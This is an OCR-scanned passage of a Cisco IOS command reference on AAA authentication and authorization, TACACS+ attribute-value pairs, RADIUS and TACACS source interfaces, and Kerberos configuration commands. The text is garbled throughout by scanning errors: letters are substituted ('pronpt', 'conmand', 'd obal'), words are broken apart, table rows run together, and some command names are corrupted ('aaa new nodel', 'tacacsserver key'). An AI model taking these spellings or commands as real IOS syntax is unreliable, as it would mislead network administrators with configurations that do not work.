Note This command cannot be used with TACACS or extended TACACS

Exanpl es

The foll owi ng exanple creates an AAA authentication list called listl. This authentication first
tries

to contact a TACACS+ server. |If no server is found, TACACS+ returns an error and AAA tries to
use the enable password. If this attenpt also returns an error (because no enable password is
configured on the server), the user is allowed access with no authentication

aaa authentication nasi listl tacacs+ enabl e none
The foll owing exanple creates the sane list, but sets it as the default list that is used for all
| ogin

authentications if no other list is specified:
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aaa aut hentication nasi default tacacs+ enabl e none

Rel at ed Comuands

A dagger (1) indicates that the conmand i s docunented outside this chapter

i px nasi-server enable T

nasi authentication

show i px nasi connections t

show i px spx-protocol ¥

[12.2.8] aaa authentication password- pronpt

To change the text displayed when users are pronpted for a password, use the aaa

aut henti cati on password-pronpt global configuration conmand. Use the no formof this
command to return to the default password pronpt text.

aaa aut hentication password-pronpt {text-string}

no aaa authenticati on password-pronpt {text-string}

Synt ax Descri ption

text-string String of text that will be displayed when the user is pronpted to enter a
password. If this text-string contains spaces or unusual characters, it nust be enclosed in
doubl equot es

(for exanple, "Enter your password:").

Def aul t

This command is disabled by default.

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.0

Use the aaa authentication password-pronpt command to change the default text that the
Cisco | OS software di splays when pronpting a user to enter a password. This command changes
the password pronpt for the enable password as well as for |ogin passwords that are not supplied
by renote security servers. The no formof this command returns the password pronpt to the
defaul t val ue:

Passwor d:

The aaa aut hentication password-pronpt conmand does not change any dialog that is

supplied by a renote TACACS+ or RADI US server.

Exanpl e

The foll owi ng exanpl e changes the text for the password pronpt:

aaa aut hentication password-pronmpt "Enter your password now "

Rel at ed Comrands

A dagger (t) indicates that the command is docunented outside this chapter

aaa aut hentication usernane pronpt

aaa new- nmode

enabl e password T

[12.2.9] aaa authentication ppp

To specify one or nore AAA authentication nethods for use on serial interfaces running Point-to-
Poi nt (PPP) and TACACS+, use the aaa authentication ppp global configuration comand. Use
the no formof this command to di sabl e authentication

aaa authentication ppp {default | list-name} methodl [...[method4]]

no aaa authentication ppp {default | list-nanme} nmethodl [...[nethod4]]

Synt ax Description

default Uses the listed authentication nmethods that follow this argunent as the default
list of

nmet hods when a user |ogs in.

list-nane Character string used to name the following list of authentication nethods tried
when a user |ogs in.

nmet hod

Def aul t

If the default list is not set, only the |local user database is checked. This command has the sane
ef fect as the foll ow ng conmand:

aaa authentication ppp default |oca

Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10. 3.
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The lists that you create with the aaa authentication ppp command are used with the ppp

aut henticati on command. These lists contain up to four authentication nethods that are used
when a user tries tolog in to the serial interface.

Create a list by entering the aaa authentication ppp |ist-nane nethod command, where |istnane
is any character string used to nanme this list (such as M S-access). The nethod argunent
identifies the list of methods that the authentication algorithmtries in the given sequence. You
can enter up to four nethods. Method keywords are described in Table 5.

The addi tional nethods of authentication are only used if the previous nmethod returns an error
not if it fails. Specify none as the final nethod in the command |ine to have authentication
succeed even if all nethods return an error

If authentication is not specifically set for a function, the default is none and no

aut hentication is

performed. Use the show runni ng-config conmand to display lists of authentication nethods.
Tabl e 5 AAA Aut hentication PPP Mt hods

Keyword Description

i f-needed Does not authenticate if user has already been authenticated on a TTY |ine.

krb5 Uses Kerberos 5 for authentication (can only be used for PAP authentication).

| ocal Uses the |ocal usernanme database for authentication. none Uses no authentication
radi us Uses RADI US aut henti cati on.

tacacs+ Uses TACACS+ aut henti cati on.

Note This command cannot be used with TACACS or extended TACACS

Exanpl e

The foll owi ng exanpl e creates an AAA authentication list called M S-access for serial |ines that
use PPP. This authentication first tries to contact a TACACS+ server. |f this action returns an
error, the user is allowed access with no authentication

aaa authentication M S-access ppp tacacs+ none

Rel at ed Commuands

A dagger (1) indicates that this command is docunmented outside this chapter

aaa aut hentication |ocal-override

aaa new node

ppp aut henti cation

[12.3.0] aaa authentication username- pronpt

To change the text displayed when users are pronpted to enter a usernane, use the aaa

aut henti cati on usernane-pronpt gl obal configuration command. Use the no formof this

command to return to the default usernane pronpt text.

aaa aut hentication usernane-pronpt {text-string}

no aaa authenticati on username-pronpt {text-string}

Syntax Description

text-string String of text that will be displayed when the user is pronpted to enter a
usernanme. If this text-string contains spaces or unusual characters, it nmust be enclosed in
doubl e-quotes (for exanple, "Enter your nane:").

Def aul t

This command is disabled by default.

Command Mode

A obal configuration

Usage Gui deli nes

This command first appeared in Cisco | OS Rel ease 11.0

Use the aaa aut hentication usernane-pronpt command to change the default text that the

Cisco | OS software di splays when pronpting a user to enter a usernane. The no formof this
conmand returns the usernane pronpt to the default val ue:

User nane:

Sonme protocols (for exanple, TACACS+) have the ability to override the use of |ocal usernane
pronpt information. Using the aaa authentication usernane-pronpt command will not change

the usernane pronpt text in these instances.

Not e The aaa authentication usernane-pronpt comand does not change any dialog that is
supplied by a renote TACACS+ server.

Exanpl e

The foll owi ng exanpl e changes the text for the usernanme pronpt:

aaa aut hentication usernane-pronpt "Enter your name here:"

Rel at ed Comrands

A dagger (t) indicates that the conmmand is docunmented outside this chapter
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aaa aut hentication password- pronpt

aaa new- nodel

enabl e password T

[12.3.1] aaa authorization

Use the aaa authorization global configuration comand to set paraneters that restrict a user's
network access. Use the no formof this conmand to disable authorization for a function

aaa aut horization {network | exec | command | evel} method

no aaa aut horization {network | exec | conmand | evel}

Synt ax Descri ption

network Runs authorization for all network-rel ated service requests, including SLIP, PPP

PPP NCPs, and ARA protocol. exec Runs authorization to determine if the user is allowed to run an
EXEC shell. This facility

nm ght return user profile information such as autoconmand information

command Runs aut horization for all conmands at the specified privilege |evel

| evel Specific conmmand | evel that should be authorized. Valid entries are 0 through 15

met hod One of the keywords in Table 6.

Def aul t

Aut hori zation is disabled for all actions (equivalent to the keyword none).

Command Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 10. 0.

Note There are five commands associated with privilege |evel 0: disable, enable, exit, help, and
I ogout. If you configure AAA authorization for a privilege |level greater than 0, these five
conmmands will not be included in the privilege | evel conmand set.

Use the aaa authorization conmand to create at |east one, and up to four, authorization

met hods that can be used when a user accesses the specified function

Note This conmand, al ong with aaa accounting, replaces the tacacs-server suite of commands

in previous versions of TACACS

The additional methods of authorization are used only if the previous nethod returns an error, not
if it fails. Specify none as the final nethod in the comuand |ine to have authorization succeed
even if all nethods return an error.

If authorization is not specifically set for a function, the default is none and no authorization
is

per f or med.

Tabl e 6 AAA Aut horization Methods

Keyword Description

tacacs+ Requests authorization information fromthe TACACS+ server.

i f-authenticated All ows the user to access the requested function if the user is

aut henti cat ed.

none No authorization is perforned.

| ocal Uses the | ocal database for authorization.

radi us Uses RADIUS to get authorization information.

krb5-instance Uses the instance defined by the Kerberos instance nap conmand.

The aut hori zati on conmand causes a request packet containing a series of attribute value pairs
to be sent to the TACACS daenpn as part of the authorization process. The daenon can do one

of the follow ng:

? Accept the request as is

? Make changes to the request

? Refuse the request, and hence, refuse authorization

Tabl e 7 describes attribute value (AV) pairs associated with the aaa authorizati on comand.

Regi stered users can find nore infornmation about TACACS+ and attribute pairs on Ci sco
Connection Online (CCO).

Attribute Description Csco | OS Rel ease

11.0 Cisco | OS Rel easell. 1 Cisco | OS Rel easell. 2

service=x The primary service. Specifying a service attribute indicates that this is a

request

for authorization or accounting of that service. Current values are slip, ppp, arap, shell
ttydaenon,

connection, and system This attribute nust al ways be included. yes yes

yes
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protocol =x A protocol that is a subset of a service. An exanple would be any PPP NCP

Currently known values are lcp, ip, ipx, atalk, vines, lat, xrenote, tn3270, telnet, rlogin, pad,
vpdn, http, and unknown. yes yes yes

cnd=x A shell (EXEC) command. This indicates the conmand nane for a shell command that is

to be run. This attribute nust be specified if service equals "shell." A NULL val ue indicates that
the shell itself is being referred to. yes yes yes

cnd-arg=x An argument to a shell (EXEC) command. This indicates an argunent for the

shell command that is to be run. Miltiple cnd-arg attributes nmay be specified, and they are order
dependent. yes yes yes

acl =x ASCI | nunber representing a connection access list. Used only when servi ce=shell.

yes yes yes

inacl =x ASCI| identifier for an interface i nput access list. Used with service=ppp and

pr ot ocol =i p.

yes yes yes

i nacl #<n> ASCI| access list identifier for an input access list to be installed and applied

to

an interface for the duration of the current connect ion. Used with service=ppp and protocol =ip
and service service=ppp and protocol =ipx. no no 11.2(4)F

outacl =x ASCI| identifier for an interface output access list. Used with service=ppp and

prot ocol =i p, and service servi ce=ppp and protocol =i px. Contains an | P output access list for SLIP
or PPP/IP (for exanple, outacl=4). The access list itself rmust be preconfigured on the router

Per user

access lists do not currently work with I1SDN interfaces. yes (PPP/IP only) yes

yes

out acl #<n> ACSI| access list identifier for an interface output access list to be installed

and

applied to an interface for the duration of the current condition. Used with servi ce=ppp and
protocol =i p, and service servi ce=ppp and protocol =i px. no no 11.2(4)F

zonel i st=x A nuneric zonelist value. Used with service=arap. Specifies an AppleTal k

zonel i st for ARA (for exanple, zonelist=5). yes yes yes

addr=x A network address. Used with service=slip, service=ppp, and protocol =ip. Contains the IP
address that the renote host should use when connecting via SLIP or PPP/IP. For exanple,
addr=1.2.3.4. yes yes yes

addr - pool =x Specifies the name of a |local pool fromwhich to get the address of the renote

host. Used with service=ppp and protocol =ip.

Not e that addr-pool works in conjunction with local pooling. It specifies the nane of a |ocal poo
(whi ch nmust be preconfigured on the network access server). Use the ip-local pool comrand to

decl are | ocal pools. For exanple:

i p address-pool |oca

ip local pool boo 1.0.0.1 1.0.0.10

ip local pool nmobo 2.0.0.1 2.0.0.20

You can then use TACACS+ to return addr-pool =boo or addr-pool =nbo to indicate the address

pool from which you want to get this renote node's address. yes yes yes

routi ng=x Specifies whether routing information is to be propagated to, and accepted from

this interface. Used with service=slip, service=ppp, and protocol =i p. Equivalent in function to

t he

/routing flag in SLIP and PPP commands. Can either be true or false (for exanple, routing=true).
yes yes yes

route Specifies a route to be applied to an interface. Used with service=slip, service=ppp, and
pr ot ocol =i p.

During network authorization, the route attribute can be used to specify a per-user static route,
to

be installed by TACACS+ as foll ows:

route=" dst_address mask [ gateway ]"

This indicates a tenmporary static route that is to be applied. dst_address, mask, and gateway are
expected to be in the usual dotted-deciml notation, with the sane neanings as in the familiar ip
route configuration command on a network access server

If gateway is omtted, the peer's address is the gateway. The route is expunged when the
connection termnates. no yes yes

rout e#<n> Li ke the route AV pair, this specifies a route to be applied to an interface, but

these routes are nunbered, allowing nultiple routes to be applied. Used with service=ppp and
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protocol =i p, and service=ppp and protocol =i px. no no 11.2(4)F

ti meout =x The nunber of minutes before an ARA session di sconnects (for exanple,

ti meout=60). A value of zero indicates no tineout. Used with service=arap. yes yes

yes

idletime=x Sets a value, in mnutes, after which an idle session is term nated. Does not work
for PPP. A value of zero indicates no tinmeout. no yes yes

aut ocd=x Specifies an autoconmand to be executed at EXEC startup (for exanple,

aut ocnd=t el net nuruga.con). Used only with service=shell. yes yes yes

noescape=x Prevents user from using an escape character. Used with service=shell. Can be either
true or false (for exanple, noescape=true). yes yes yes

nohangup=x Used with service=shell. Specifies the nohangup option. Can be either true or

false (for exanple, nohangup=false). yes yes yes

priv-lvl=x Privilege level to be assigned for the EXEC. Used with service=shell. Privilege

Il evels range fromO to 15, with 15 being the highest. yes yes yes

cal | back-dial string Sets the tel ephone nunber for a callback (for exanple: call backdial string=
408-555-1212). Value is NULL, or a dial-string. A NULL value indicates that the service

may choose to get the dialstring through other nmeans. Used with service=arap, service=slinp,

servi ce=ppp, service=shell. Not valid for ISDN. no yes yes

cal | back-1ine The nunber of a TTY line to use for callback (for exanple: callback-1ine=4). Used
with service=arap, service=slip, service=ppp, service=shell. Not valid for I SDN. no

yes

yes

cal | back-rotary The nunber of a rotary group (between 0 and 100 inclusive) to use for
cal | back

(for exanple: callback-rotary=34). Used with service=arap, service=slip, service=ppp,
service=shell. Not valid for ISDN. no yes yes

nocal | back-verify Indicates that no callback verification is required. The only valid val ue
for

this paraneter is 1 (for exanple, nocall back-verify=1). Used with service=arap, service=slinp,

servi ce=ppp, service=shell. There is no authentication on callback. Not valid for ISDN. no
yes yes
tunnel -id Specifies the usernane that will be used to authenticate the tunnel over which

the individual user MD will be projected. This is anal ogous to the renpte nane in the vpdn

out goi ng conmand. Used with servi ce=ppp and protocol =vpdn. no no yes

i p- addresses Space-separated |ist of possible |IP addresses that can be used for the end-point

of a tunnel. Used with service=ppp and protocol =vpdn. no no yes

nas- password Specifies the password for the network access server during the L2F tunne

aut hentication. Used with servi ce=ppp and protocol =vpdn. no no yes

gw password Specifies the password for the hone gateway during the L2F tunne

aut hentication. Used with service=ppp and protocol =vpdn. no no yes

rte-ftr-in#<n> Specifies an input access list definition to be installed and applied to routing
updates on the current interface for the duration of the current connection. Used with service=ppp
and protocol =ip, and with servi ce=ppp and protocol =i px. no no 11.2(4)F

rte-ftr-out#<n> Specifies an output access list definition to be installed and applied to

routing

updates on the current interface for the duration of the current connection. Used with service=ppp
and protocol =ip, and with servi ce=ppp and protocol =i px. no no yes 11.2(4)F

sap#<n> Specifies static Service Advertising Protocol (SAP) entries to be installed for

t he

duration of a connection. Used with service=ppp and protocol =i px. no no yes

11.2(4)F

sap-fltr-in#<n> Specifies an input SAP filter access list definition to be installed and

appl i ed on

the current interface for the duration of the current connection. Used with service=ppp and
protocol =i px. no no yes 11.2(4)F

sap-fltr-out#<n> Specifies an output SAP filter access list definition to be installed and

applied on the current interface for the duration of the current connection. Used wth service=ppp
and protocol =i px. no no 11.2(4)F

pool - def #<n> Used to define | P address pools on the network access server. Used with

servi ce=ppp and protocol=ip. no no 11.2(4)F

source-i p=x Used as the source |IP address of all VPDN packets generated as part of a VPDN
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tunnel. This is equivalent to the C sco vpdn outgoing gl obal configuration conmmand. no

no yes

Exanpl es

The foll owi ng exanpl e specifies that TACACS+ authorization is used for all network-rel ated
requests. If this authorization nethod returns an error (if the TACACS+ server cannot be
contacted), no authorization is performed and the request succeeds.

aaa authorization network tacacs+ none

The foll owi ng exanpl e specifies that TACACS+ authorization is run for level 15 commands. If this
authorization nmethod returns an error (that is, if the TACACS+ server cannot be contacted), no
aut horization is perforned and the request succeeds.

aaa aut horization conmand 15 tacacs+ none

Rel at ed Comrands

A dagger (t) indicates that the command is docunented outside this chapter

aaa accounting t

aaa new- node

[12.3.2] aaa authorization config-commands

To di sabl e AAA configuration conmmand authorization in the EXEC node, use the no formof the
aaa aut hori zation config-commands gl obal configuration conmand. Use the standard form of
this command to reestablish the default created when the aaa authorization comrand | eve

nmet hod command was i ssued.

aaa aut horization config-conmands

no aaa authorizati on confi g-comands

Synt ax Description

This command has no argunents or keywords.

Def aul t

After the aaa authorization command | evel nethod has been issued, this command i s enabl ed
by default---neaning that all configuration commands in the EXEC node will be authorized.
Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11. 2.

I f aaa authorization command | evel method is enabled, all commands, including configuration
commands, are authorized by AAA using the nethod specified. Because there are configuration
commands that are identical to some EXEC- | evel commands, there can be sonme confusion in the
aut hori zation process. Using no aaa authorization config-commands stops the network access
server not fromattenpting configuration conmand aut hori zati on

Once the no formof this comand has been issued, AAA authorization of configuration
commands is conpletely disabled. Care should be taken before issuing the no formof this
command because it potentially reduces the anmount of administrative control on configuration
conmmands.

Use the aaa authorization config-comands conmand if, after using the no formof this
command, you need to reestablish the default set by the aaa authorization conmand | eve

nmet hod comrand.

Exanpl e

The foll owi ng exanpl e specifies that TACACS+ authorization is run for |evel 15 conmmands and
that AAA aut horization of configuration conmands is disabl ed:

aaa new- nodel

aaa aut horization conmand 15 tacacs+ none

no aaa authorizati on confi g- conmands

Rel at ed Commands

aaa aut hori zation

[12. 3. 3] aaa new node

To enabl e the AAA access control nodel, issue the aaa new nodel gl obal configuration
command. Use the no formof this command to disable this functionality.

aaa new- node

no aaa new node

Synt ax Descri ption

Thi s command has no argunents or keywords.

Def aul t

AAA is not enabl ed.

Command Mode
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d obal configuration

Usage Gui del i nes

This command first appeared in G sco | 0S Rel ease 10. 0.

This command enabl es the AAA access control systemand TACACS+. If you initialize AAA
functionality and | ater decide to use TACACS or extended TACACS, issue the no version of this
command before you enabl e the version of TACACS that you want to use. After enabling AAA/ TACACS+
with the aaa new nbdel command, you nust use the tacacsserver

key command to set the authentication key used in all TACACS+ communi cations with

t he TACACS+ daenon.

Exanpl e

The following exanple initializes AAA and TACACS+:

aaa new- node

Rel at ed Commands

A dagger (t) indicates that the command i s docunented outside this chapter.

aaa accounting t

aaa aut hentication arap

aaa aut hentication enabl e default

aaa aut hentication |ocal-override

aaa aut hentication |ogin

aaa aut hentication ppp

aaa aut hori zation

tacacs-server key

[12.3.4] arap authentication

To enabl e AAA authentication for ARA on a line, use the arap authentication |ine configuration
comand. Use the no formof the command to di sabl e authentication for an ARA |ine.

arap authentication {default | list-nane}

no arap authentication {default | |ist-nane}

Caution If you use a list-nanme value that was not configured with the aaa authentication arap
command, ARA protocol will be disabled on this line.

Synt ax Description

default Default list created with the aaa authentication arap command.

list-nanme Indicated list created with the aaa authentication arap comrand.

Def aul t

ARA protocol authentication uses the default set with aaa authentication arap conmand. |If no
default is set, the local user database is checked.

Command Mode

Li ne configuration

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 11.0.

This command is a per-line command that specifies the nane of a |ist of AAA authentication
met hods to try at login. If nolist is specified, the default list is used (whether or not it is
speci fied

in the command line). You create defaults and lists with the aaa authentication arap comrand.
Entering the no version of arap authentication has the sane effect as entering the comrand
with the default argument.

Before issuing this command, create a |ist of authentication processes by using the aaa

aut hentication arap gl obal configuration conmand.

Exanpl e

The foll owi ng exanpl e specifies that the TACACS+ authentication list called M S-access is used
on ARA line 7:

line 7

arap aut hentication M S-access

Rel at ed Commrand

aaa authentication arap

[12.3.5] clear kerberos creds

Use the clear kerberos creds EXEC conmand to delete the contents of your credentials cache.
cl ear kerberos creds

Synt ax Descri ption

This command has no keywords or argunents.

Command Mode

EXEC
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Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 11.1.

Credentials are cl eared when the user logs out. Cisco supports Kerberos 5

Exanpl e

The followi ng exanple illustrates the clear kerberos creds comand:

ci sco- 2500> show ker beros creds

Default Principal: chet@isco.com

Valid Starting Expires Service Principa

18- Dec-1995 16: 21: 07 19- Dec-1995 00: 22: 24 kr bt gt/ Cl SCO. COM@rl SCO. Cov

ci sco-2500> cl ear kerberos creds

ci sco- 2500> show kerberos creds

No Kerberos credential s.

ci sco- 2500>

Rel at ed Comand

show ker beros creds

[12.3.6] enable | ast-resort

To specify what happens if the TACACS and extended TACACS servers used by the enable
command do not respond, use the enable last-resort gl obal configuration command. Use the no
formof this conmand to restore the default.

enabl e last-resort {password | succeed}

no enable | ast-resort {password | succeed}

Synt ax Descri ption

password Allows you to enter enable node by entering the privileged command | eve
password. A password nust contain from1l to 25 uppercase and | owercase al phanuneric
characters.

succeed Allows you to enter enable node wi thout further question

Def aul t

Access to enabl e node is denied.

Command Mbde

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | 0OS Rel ease 10.0.

The secondary authentication is used only if the first attenpt fails.

Note This command is not used in AAA/ TACACS+, which uses the aaa authentication suite of
comands i nstead.

Exanpl e

In the following exanple, if the TACACS servers do not respond to the enabl e conmand, the
user can enable by entering the privileged | evel password:

enabl e | ast-resort password

Rel at ed Command

A dagger (t) indicates that the command is docunented outside this chapter

enable f

[12.3.7] enabl e use-tacacs

To enabl e use of the TACACS to determ ne whether a user can access the privileged conmand
| evel , use the enabl e use-tacacs gl obal configuration command. Use the no formof this
command to di sabl e TACACS verification

enabl e use-tacacs

no enabl e use-tacacs

Caution If you use the enable use-tacacs command, you nust al so use the tacacs-server
aut henti cate enabl e command, or you will be | ocked out of the privileged comand | evel
Synt ax Descri ption

Thi s command has no argunents or keywords.

Def aul t

Di sabl ed

Command Mode

d obal configuration Usage Cuidelines

This command first appeared in C sco | OS Rel ease 10.0.

When you add this command to the configuration file, the EXEC enabl e command pronpts for a
new usernanme and password pair. This pair is then passed to the TACACS server for
authentication. If you are using extended TACACS, it al so passes any existing UN X user
identification code to the server
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Note This command initializes TACACS. Use the tacacs server-extended command to initialize
ext ended TACACS, or use the aaa new nodel command to initialize AAA/ TACACS+.

Exanpl e

The foll owi ng exanpl e sets TACACS verification on the privil eged EXEC- | evel |ogin sequence:
enabl e use-tacacs

tacacs-server authenticate enable

Rel at ed Commrand

A dagger (1) indicates that the command i s docunented outside this chapter.

tacacs-server authenticate enable ¥

[12.3.8] ip radius source-interface

Use the ip radius source-interface global configuration command to force RADIUS to use the IP
address of a specified interface for all outgoing RADIUS packets. Use the no formof this
command to disable use of a specified interface | P address.

i p radius source-interface subinterface-nane

no ip radius source-interface

Synt ax Descri ption

subi nterface-nane Nane of the interface that RADIUS uses for all of its outgoing packets.

Def aul t

This command has no factory-assigned default.

Conmand Mode

d obal configuration

Usage Cui deli nes

This command first appeared in Cisco | OS Rel ease 11.1.

Use this command to set a subinterface's |P address to be used as the source address for al
out goi ng RADI US packets. This address is used as long as the interface is in the up state. In this
way, the RADI US server can use one | P address entry for every network access client instead of
mai ntaining a list of |IP addresses.

This command is especially useful in cases where the router has nany interfaces, and you want
to ensure that all RADIUS packets froma particular router have the sane | P address.

The specified interface nmust have an | P address associated with it. |If the specified subinterface
does not have an | P address or is in a down state, then RADI US reverts to the default. To avoid
this, add an I P address to the subinterface or bring the interface to the up state.

Exanpl e

The foll owi ng exanpl e nmakes RADI US use the | P address of subinterface s2 for all outgoing
RADI US packets:

i p radius source-interface s2

Rel at ed Commrands

A dagger (1) indicates that the conmand i s docunmented outside this chapter

ip tacacs source-interface t

ip telnet source-interface t

ip tftp source-interface t

[12.3.9] ip tacacs source-interface

Use the ip tacacs source-interface global configuration conmand to force TACACS to use the

| P address of a specified interface for all outgoing TACACS packets. Use the no formof this
command to disable use of a specified interface | P address.

i p tacacs source-interface subinterface-nane

no ip tacacs source-interface

Synt ax Description

subi nterface-nane Nane of the interface that TACACS uses for all of its outgoing packets.

Def aul t

This command has no factory-assigned default. Comrand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.1.

Use this command to set a subinterface's | P address for all outgoing TACACS packets. This
address is used as long as the interface is in the up state. In this way, the TACACS server can
use one | P address entry associated with the network access client instead of maintaining a list
of

all | P addresses.

This command is especially useful in cases where the router has nmany interfaces, and you want
to ensure that all TACACS packets froma particular router have the sane | P address.
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The specified interface nmust have an | P address associated with it. If the specified subinterface
does not have an IP address or is in a down state, TACACS reverts to the default. To avoid this,
add an I P address to the subinterface or bring the interface to the up state.

Exanpl e

The foll owi ng exanpl e makes TACACS use the | P address of subinterface s2 for all outgoing
TACACS (TACACS, extended TACACS, or TACACS+) packets:

i p tacacs source-interface s2

Rel at ed Commands

A dagger (1) indicates that the conmand i s docunented outside this chapter

ip radius source-interface t

ip telnet source-interface t

ip tftp source-interface t

[12.4.0] kerberos clients mandatory

Use the kerberos clients nmandatory gl obal configuration conmand to cause the rsh, rcp
rlogin, and telnet commands to fail if they cannot negotiate the Kerberos protocol with the
renote server. Use the no formof this conmand to disable this option

kerberos clients nandatory

no kerberos clients mandatory

Syntax Desctiption

This command has no arguments or keywords.

Def aul t

Di sabl ed

Command Mode

d obal configuration

User Guidelines

This command first appeared in Ci sco | OS Rel ease 11. 2.

If this command is not configured and the user has Kerberos credentials stored locally, the rsh,
rcp, rlogin, and tel net commands attenpt to negotiate the Kerberos protocol with the renote
server and will use the un-Kerberized protocols if unsuccessful

If this command is not configured and the user has no Kerberos credentials, the standard
protocols for rcp and rsh are used to negotiate the Keberos protocol

Exanpl e

The following exanple illustrates the kerberos clients mandatory conmand:

kerberos clients nmandatory

Rel at ed Commrands

A dagger (t) indicates that this comuand is docunented outside this chapter

copy rcp T

kerberos credentials forward

rlogin t

rsh t

telnet f

[12.4.1] kerberos credentials forward

Use the kerberos credentials forward gl obal configuration command to force all network
application clients on the router to forward users' Kerberos credentials upon successful Kerberos
aut hentication. Use the no formof this command to turn off Kerberos credentials forwarding.
kerberos credentials forward

no kerberos credentials forward

Synt ax Description

This command has no argunments or keywords.

Def aul t

Di sabl ed

Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11. 2.

Enabl e credentials forwarding to have users' TGIs forwarded to the host they authenticate to. In
this way, users can connect to nultiple hosts in the Kerberos real mw thout running the KINIT
program each tinme they need to get a TGI.

Exanpl e

The followi ng exanple illustrates the kerberos credentials forward command:

kerberos credentials forward
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Rel at ed Commrands

A dagger (1) indicates that the command i s docunented outside this chapter.

copy rcp t

rlogin t

rsh t

telnet f

[12.4.2] kerberos instance map

Use the kerberos instance map gl obal configuration conmand to map Kerberos instances to
Cisco 10S privilege levels. Use the no formof this command to renove a Kerberos instance map
kerberos instance map instance privil ege-Ievel

no kerberos instance map instance

Synt ax Description

i nstance Nanme of a Kerberos instance.

privilege-level The privilege Ievel at which a user is set if the user's Kerberos
princi pl e contains

the matching Kerberos instance. You can specify up to 16 privilege levels, using nunbers O
through 15. Level 1 is normal EXEC-node user privil eges.

Def aul t

Privilege level 1

Conmand Mode

d obal configuration

Usage Cui deli nes

This command first appeared in Cisco | OS Rel ease 11. 2.

Use this command to create user instances with access to administrative conmands.

Exanpl e

In the follow ng exanple, the privilege level is set to 15 for authenticated Kerberos users wth
t he

adm n instance in Kerberos real mcisco.com

kerberos instance map admin 15

Rel at ed Comrand

aaa aut hori zation

[12.4.3] kerberos local-realm

Use the kerberos | ocal -real mglobal configuration command to specify the Kerberos realmin
which the router is located. Use the no formof this command to renove the specified Kerberos
realmfromthis router.

kerberos | ocal -real m ker beros-real m

no kerberos local-realm

Syntax Description

kerberos-real m The nane of the default Kerberos realm A Kerberos real mconsists of users,
hosts, and network services that are registered to a Kerberos server. The Kerberos real m nust
be in uppercase letters.

Def aul t

Di sabl ed

Command Mode

A obal configuration

Usage Gui deli nes

This command first appeared in Cisco | OS Rel ease 11.1.

The router can be located in nore than one realmat a tinme. However, there can only be one
i nstance of Kerberos local-realm The real mspecified with this conmand is the default realm
Exanpl e

The followi ng exanple illustrates the kerberos |ocal real mcomand:

ker beros | ocal - real m MJRUGA. COM

Rel at ed Commrands

kerberos preauth

kerberos real m

ker beros server

kerberos srvtab entry

kerberos srvtab renote

[12.4.4] kerberos preauth

Use the kerberos preauth gl obal configuration conmand to specify a preauthenticati on nethod
to use to conmunicate with the KDC. Use the no formof this conmand to di sabl e Kerberos
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pr eaut henti cati on.

kerberos preauth [encrypted-unix-tinestanp | none]

no kerberos preauth

Synt ax Descri ption

encrypted-uni x-ti mestanp Use an encrypted UNI X ti mestanp as a qui ck authentication

nmet hod when communi cating with the KDC

none Do not use Kerberos preauthentication

Def aul t

Di sabl ed

Command Mode

A obal Configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11. 2.

It is nore secure to use a preauthentication for communications with the KDC. However,
comuni cation with the KDC will fail if the KDC does not support this particular version of
kerberos preauth. If that happens, turn off the preauthentication with the none option.
The no formof this comand is equival ent to using then none keyword.

Exanpl e

The following exanple illustrates how to enabl e and di sabl e Kerberos preauthentication
ker beros preauth encrypted-uni x-timestanp

ker beros preauth none

Rel at ed Commuands

kerberos | ocal -realm

ker beros server

kerberos srvtab entry

kerberos srvtab renote

[12.4.5] kerberos realm

Use the kerberos real mglobal configuration command to map a host nanme or Donmai n Nam ng
System (DNS) domain to a Kerberos realm Use the no formof this command to renove a
Ker ber os real m map.

kerberos real m{dns-domain | host} kerberos-realm

no kerberos real m{dns-domain | host} kerberos-realm

Synt ax Descri ption

dns-domai n Name of a DNS domain or host.

host Nane of a DNS host.

ker beros-real m Nane of the Kerberos real mthe specified domain or host belongs to.

Def aul t

Di sabl ed

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.1.

DNS domains are specified with a | eading dot (.) character; hostnanes cannot begin with a dot (.)
character. There can be nultiple entries of this line. A Kerberos real mconsists of users, hosts,
and network services that are registered to a Kerberos

server. The Kerberos real mnust be in uppercase letters. The router can be located in nore than
one realmat a tinme. Kerberos real mnanes nust be in all uppercase characters.

Exanpl e

The foll owing exanple illustrates the kerberos real m comrand:

kerberos real m. nuruga. com MJRUGA. COM

ker beros real m muruga. com MJRUGA. COM

Rel at ed Commuands

kerberos | ocal -realm

ker beros server

kerberos srvtab entry

kerberos srvtab renote

[12.4.6] kerberos server

Use the kerberos server global configuration command to specify the [ ocation of the Kerberos
server for a given Kerberos realm Use the no formof this command to renove a Kerberos server
for a specified Kerberos realm

kerberos server kerberos-real m{hostnane | ip-address} [port-nunber]
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no kerberos server kerberos-real m{hostnane | ip-address}

Synt ax Descri ption

kerberos-real m Name of the Kerberos realm A Kerberos real mconsists of users, hosts, and
network services that are registered to a Kerberos server. The Kerberos realmnmust be in
uppercase letters.

host name Name of the host functioning as a Kerberos server for the specified Kerberos
realm(translated into an I P address at the time of entry).

i p-address | P address of the host functioning as a Kerberos server for the specified

Ker beros realm

port-nunber (Optional) Port that the KDC/ TGS nonitors (defaults to 88).

Def aul t

Di sabl ed

Command Mode

A obal configuration

Usage Cui delines

This command first appeared in Cisco | OS Rel ease 11.1.

Exanpl e

The fol |l owi ng exanpl e specifies 126.38.47.66 as the Kerberos server for the Kerberos realm
MURUGA. COM

kerberos server MJRUGA. COM 126. 38. 47. 66

Rel at ed Commuands

kerberos | ocal -real m

kerberos real m

kerberos srvtab entry

kerberos srvtab renote

[12.4.7] kerberos srvtab entry

Use the kerberos srvtab renote gl obal configuration command (not kerberos srvtab entry) to
retrieve a SRVIAB file froma renpe host and autonatically generate a Kerberos SRVIAB entry
configuration. (The Kerberos SRVTAB entry is the router's locally stored SRVTAB.) Use the no
formof this command to renobve a SRVTAB entry fromthe router's configuration

